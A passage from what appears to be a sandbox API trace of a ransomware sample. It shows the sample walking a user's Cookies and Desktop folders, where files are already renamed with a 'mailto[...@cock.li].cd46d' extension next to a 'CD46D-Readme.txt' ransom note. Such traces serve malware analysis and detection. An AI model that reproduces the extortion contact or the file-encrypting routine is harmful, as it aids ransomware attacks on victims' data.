ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x5af, dwReserved0=0x0, dwReserved1=0x0, cFileName="sikvnb huvuib.contact.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SIKVNB~1.CD4")) returned 0 [0140.192] FindClose (in: hFindFile=0x8da150 | out: hFindFile=0x8da150) returned 1 [0140.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0140.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff0c8) returned 1 [0140.192] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e42c0) returned 1 Thread: id = 1711 os_tid = 0x858 [0139.922] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4268 [0139.923] wcscpy (in: _Dest=0x8e4268, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies" [0139.923] wcscat (in: _Dest=0x8e4268, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\" [0139.923] wcscat (in: _Dest=0x8e4268, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*" [0139.923] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911d58 [0139.923] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0139.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911d58) returned 1 [0139.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4268) returned 1 [0139.923] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4318) returned 1 Thread: id = 1712 os_tid = 0x85c [0139.926] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x50) returned 0x8e4318 [0139.926] wcscpy (in: _Dest=0x8e4318, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" [0139.926] wcscat (in: _Dest=0x8e4318, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0139.926] wcscat (in: _Dest=0x8e4318, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*" [0139.926] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911d58 [0139.926] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3d6f520, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d6f520, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da1d0 [0139.926] wcscmp (_String1=".", _String2=".") returned 0 [0139.926] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3d6f520, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3d6f520, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.926] wcscmp (_String1="..", _String2=".") returned 1 [0139.926] wcscmp (_String1="..", _String2="..") returned 0 [0139.926] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba61b00, ftCreationTime.dwHighDateTime=0x1d4c957, ftLastAccessTime.dwLowDateTime=0xa06df9b0, ftLastAccessTime.dwHighDateTime=0x1d4d050, ftLastWriteTime.dwLowDateTime=0xa06df9b0, ftLastWriteTime.dwHighDateTime=0x1d4d050, nFileSizeHigh=0x0, nFileSizeLow=0xd3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="0U_TBO~1.CD4")) returned 1 [0139.926] wcscmp (_String1="0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.926] wcscmp (_String1="0u_TBOJ2F4.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.926] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618ebe90, ftCreationTime.dwHighDateTime=0x1d4ce99, ftLastAccessTime.dwLowDateTime=0x8a7310d0, ftLastAccessTime.dwHighDateTime=0x1d4d043, ftLastWriteTime.dwLowDateTime=0x8a7310d0, ftLastWriteTime.dwHighDateTime=0x1d4d043, nFileSizeHigh=0x0, nFileSizeLow=0xa874, dwReserved0=0x0, dwReserved1=0x0, cFileName="3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="3WVLXP~1.CD4")) returned 1 [0139.926] wcscmp (_String1="3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.926] wcscmp (_String1="3wVlx.pps.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.926] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbee3ae0, ftCreationTime.dwHighDateTime=0x1d4c54e, ftLastAccessTime.dwLowDateTime=0xf2efd500, ftLastAccessTime.dwHighDateTime=0x1d4d244, ftLastWriteTime.dwLowDateTime=0xf2efd500, ftLastWriteTime.dwHighDateTime=0x1d4d244, nFileSizeHigh=0x0, nFileSizeLow=0x7c06, dwReserved0=0x0, dwReserved1=0x0, cFileName="3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="3YNKUY~1.CD4")) returned 1 [0139.926] wcscmp (_String1="3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.926] wcscmp (_String1="3yNKuYc6KCO5FB.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.926] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x976d3550, ftCreationTime.dwHighDateTime=0x1d4c98f, ftLastAccessTime.dwLowDateTime=0x839713e0, ftLastAccessTime.dwHighDateTime=0x1d4c7a3, ftLastWriteTime.dwLowDateTime=0x839713e0, ftLastWriteTime.dwHighDateTime=0x1d4c7a3, nFileSizeHigh=0x0, nFileSizeLow=0x688b, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="6YMVVR~1.CD4")) returned 1 [0139.927] wcscmp (_String1="6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="6ymvvRw1Ouah2f14.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802592e0, ftCreationTime.dwHighDateTime=0x1d4cbcc, ftLastAccessTime.dwLowDateTime=0x62f516c0, ftLastAccessTime.dwHighDateTime=0x1d4c611, ftLastWriteTime.dwLowDateTime=0x62f516c0, ftLastWriteTime.dwHighDateTime=0x1d4c611, nFileSizeHigh=0x0, nFileSizeLow=0x1201d, dwReserved0=0x0, dwReserved1=0x0, cFileName="9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="9AB7-7~1.CD4")) returned 1 [0139.927] wcscmp (_String1="9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="9aB7-7.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9abc9300, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x9abc9300, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9abef460, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x6fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CD46D-Readme.txt", cAlternateFileName="CD46D-~1.TXT")) returned 1 [0139.927] wcscmp (_String1="CD46D-Readme.txt", _String2=".") returned 1 [0139.927] wcscmp (_String1="CD46D-Readme.txt", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ca1c70, ftCreationTime.dwHighDateTime=0x1d4ce14, ftLastAccessTime.dwLowDateTime=0x714aac70, ftLastAccessTime.dwHighDateTime=0x1d4cd1a, ftLastWriteTime.dwLowDateTime=0x714aac70, ftLastWriteTime.dwHighDateTime=0x1d4cd1a, nFileSizeHigh=0x0, nFileSizeLow=0xf6d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="CQPWPE~1.CD4")) returned 1 [0139.927] wcscmp (_String1="cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="cQPwpeX2VSv9pxqs0XDY.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.927] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.927] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd69656f0, ftCreationTime.dwHighDateTime=0x1d4c7b2, ftLastAccessTime.dwLowDateTime=0x1d47f210, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x1d47f210, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x18ecc, dwReserved0=0x0, dwReserved1=0x0, cFileName="E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="E-VSJA~1.CD4")) returned 1 [0139.927] wcscmp (_String1="E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="E-vSJACofd9.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55414990, ftCreationTime.dwHighDateTime=0x1d4d3f4, ftLastAccessTime.dwLowDateTime=0x85182260, ftLastAccessTime.dwHighDateTime=0x1d4d066, ftLastWriteTime.dwLowDateTime=0x85182260, ftLastWriteTime.dwHighDateTime=0x1d4d066, nFileSizeHigh=0x0, nFileSizeLow=0x17815, dwReserved0=0x0, dwReserved1=0x0, cFileName="fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="FFUP1E~1.CD4")) returned 1 [0139.927] wcscmp (_String1="fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="fFuP1EVpdZw.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8a7620, ftCreationTime.dwHighDateTime=0x1d4d07d, ftLastAccessTime.dwLowDateTime=0x60bc0210, ftLastAccessTime.dwHighDateTime=0x1d4cc24, ftLastWriteTime.dwLowDateTime=0x60bc0210, ftLastWriteTime.dwHighDateTime=0x1d4cc24, nFileSizeHigh=0x0, nFileSizeLow=0x2ea7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="GH4LHX~1.CD4")) returned 1 [0139.927] wcscmp (_String1="GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="GH4lHxcUg1oiF.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8da914e0, ftCreationTime.dwHighDateTime=0x1d4d52d, ftLastAccessTime.dwLowDateTime=0x75cb8c40, ftLastAccessTime.dwHighDateTime=0x1d4c98e, ftLastWriteTime.dwLowDateTime=0x75cb8c40, ftLastWriteTime.dwHighDateTime=0x1d4c98e, nFileSizeHigh=0x0, nFileSizeLow=0x4e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="GT7A13~1.CD4")) returned 1 [0139.927] wcscmp (_String1="GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="GT7a13LfUNvpkBWLAb_.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b595b30, ftCreationTime.dwHighDateTime=0x1d4cb9a, ftLastAccessTime.dwLowDateTime=0x9f73d7f0, ftLastAccessTime.dwHighDateTime=0x1d4d221, ftLastWriteTime.dwLowDateTime=0x9f73d7f0, ftLastWriteTime.dwHighDateTime=0x1d4d221, nFileSizeHigh=0x0, nFileSizeLow=0x136b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="H4SOUB~1.CD4")) returned 1 [0139.927] wcscmp (_String1="H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="H4SoUBod.mp3.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.927] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9830920, ftCreationTime.dwHighDateTime=0x1d4d05d, ftLastAccessTime.dwLowDateTime=0x157cade0, ftLastAccessTime.dwHighDateTime=0x1d4cba2, ftLastWriteTime.dwLowDateTime=0x157cade0, ftLastWriteTime.dwHighDateTime=0x1d4cba2, nFileSizeHigh=0x0, nFileSizeLow=0x17cf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="I43kq.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="I43KQP~1.CD4")) returned 1 [0139.927] wcscmp (_String1="I43kq.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.927] wcscmp (_String1="I43kq.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7908db10, ftCreationTime.dwHighDateTime=0x1d4cf6f, ftLastAccessTime.dwLowDateTime=0x737de20, ftLastAccessTime.dwHighDateTime=0x1d4d02b, ftLastWriteTime.dwLowDateTime=0x737de20, ftLastWriteTime.dwHighDateTime=0x1d4d02b, nFileSizeHigh=0x0, nFileSizeLow=0x184ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="JEJ8DA~1.CD4")) returned 1 [0139.928] wcscmp (_String1="JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="JEJ8DaMQSC.mp4.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1beecaf0, ftCreationTime.dwHighDateTime=0x1d4c909, ftLastAccessTime.dwLowDateTime=0xfc5a4990, ftLastAccessTime.dwHighDateTime=0x1d4ca10, ftLastWriteTime.dwLowDateTime=0xfc5a4990, ftLastWriteTime.dwHighDateTime=0x1d4ca10, nFileSizeHigh=0x0, nFileSizeLow=0x166a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="JIU9--~1.CD4")) returned 1 [0139.928] wcscmp (_String1="jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="jiU9--Vb2fyV.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b3044f0, ftCreationTime.dwHighDateTime=0x1d4cf8f, ftLastAccessTime.dwLowDateTime=0x1ae6a280, ftLastAccessTime.dwHighDateTime=0x1d4c9f5, ftLastWriteTime.dwLowDateTime=0x1ae6a280, ftLastWriteTime.dwHighDateTime=0x1d4c9f5, nFileSizeHigh=0x0, nFileSizeLow=0x9951, dwReserved0=0x0, dwReserved1=0x0, cFileName="kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="KX_CQP~1.CD4")) returned 1 [0139.928] wcscmp (_String1="kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="kX_cqPTP6-I4t.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a13950, ftCreationTime.dwHighDateTime=0x1d4cc0b, ftLastAccessTime.dwLowDateTime=0x3dcaa710, ftLastAccessTime.dwHighDateTime=0x1d4c54a, ftLastWriteTime.dwLowDateTime=0x3dcaa710, ftLastWriteTime.dwHighDateTime=0x1d4c54a, nFileSizeHigh=0x0, nFileSizeLow=0xad42, dwReserved0=0x0, dwReserved1=0x0, cFileName="lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LVI8_J~1.CD4")) returned 1 [0139.928] wcscmp (_String1="lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="lVi8_jDEOiqVFCN9B.bmp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddf58110, ftCreationTime.dwHighDateTime=0x1d4d549, ftLastAccessTime.dwLowDateTime=0x3da6a7b0, ftLastAccessTime.dwHighDateTime=0x1d4ccc6, ftLastWriteTime.dwLowDateTime=0x3da6a7b0, ftLastWriteTime.dwHighDateTime=0x1d4ccc6, nFileSizeHigh=0x0, nFileSizeLow=0xe284, dwReserved0=0x0, dwReserved1=0x0, cFileName="lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="LXI6G-~1.CD4")) returned 1 [0139.928] wcscmp (_String1="lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="lxI6G-_wCui30eN8.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa09cf0, ftCreationTime.dwHighDateTime=0x1d4c77d, ftLastAccessTime.dwLowDateTime=0xb1bf92d0, ftLastAccessTime.dwHighDateTime=0x1d4d39f, ftLastWriteTime.dwLowDateTime=0xb1bf92d0, ftLastWriteTime.dwHighDateTime=0x1d4d39f, nFileSizeHigh=0x0, nFileSizeLow=0x17a83, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="PJJPWZ~1.CD4")) returned 1 [0139.928] wcscmp (_String1="PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="PJjpWZ.wav.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89ebe0e0, ftCreationTime.dwHighDateTime=0x1d4d22f, ftLastAccessTime.dwLowDateTime=0xb86650f0, ftLastAccessTime.dwHighDateTime=0x1d4cff4, ftLastWriteTime.dwLowDateTime=0xb86650f0, ftLastWriteTime.dwHighDateTime=0x1d4cff4, nFileSizeHigh=0x0, nFileSizeLow=0x9f34, dwReserved0=0x0, dwReserved1=0x0, cFileName="QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="QNU2NM~1.CD4")) returned 1 [0139.928] wcscmp (_String1="QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="QNu2n.mkv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd95867f0, ftCreationTime.dwHighDateTime=0x1d4c714, ftLastAccessTime.dwLowDateTime=0x51ee1bb0, ftLastAccessTime.dwHighDateTime=0x1d4d02a, ftLastWriteTime.dwLowDateTime=0x51ee1bb0, ftLastWriteTime.dwHighDateTime=0x1d4d02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d59, dwReserved0=0x0, dwReserved1=0x0, cFileName="R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="R2CLOG~1.CD4")) returned 1 [0139.928] wcscmp (_String1="R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="R2CLOGB.png.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ade50, ftCreationTime.dwHighDateTime=0x1d4cd90, ftLastAccessTime.dwLowDateTime=0x1f5bfa90, ftLastAccessTime.dwHighDateTime=0x1d4cd01, ftLastWriteTime.dwLowDateTime=0x1f5bfa90, ftLastWriteTime.dwHighDateTime=0x1d4cd01, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="R8O2SI~1.CD4")) returned 1 [0139.928] wcscmp (_String1="R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="R8O2SI.m4a.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10740, ftCreationTime.dwHighDateTime=0x1d4c79c, ftLastAccessTime.dwLowDateTime=0x5ed8d6c0, ftLastAccessTime.dwHighDateTime=0x1d4c61c, ftLastWriteTime.dwLowDateTime=0x5ed8d6c0, ftLastWriteTime.dwHighDateTime=0x1d4c61c, nFileSizeHigh=0x0, nFileSizeLow=0x72f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="RZNP4W~1.CD4")) returned 1 [0139.928] wcscmp (_String1="RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.928] wcscmp (_String1="RzNP4wT20yWfy6h_08bR.flv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.928] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f72a70, ftCreationTime.dwHighDateTime=0x1d4c818, ftLastAccessTime.dwLowDateTime=0xadd445a0, ftLastAccessTime.dwHighDateTime=0x1d4cfbf, ftLastWriteTime.dwLowDateTime=0xadd445a0, ftLastWriteTime.dwHighDateTime=0x1d4cfbf, nFileSizeHigh=0x0, nFileSizeLow=0xf17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="SI9EFD~1.CD4")) returned 1 [0139.929] wcscmp (_String1="sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0139.929] wcscmp (_String1="sI9EFd.rtf.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0139.929] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedb581f0, ftCreationTime.dwHighDateTime=0x1d4d55c, ftLastAccessTime.dwLowDateTime=0x6f1f4ca0, ftLastAccessTime.dwHighDateTime=0x1d4d2db, ftLastWriteTime.dwLowDateTime=0x6f1f4ca0, ftLastWriteTime.dwHighDateTime=0x1d4d2db, nFileSizeHigh=0x0, nFileSizeLow=0x4882, dwReserved0=0x0, dwReserved1=0x0, cFileName="ss 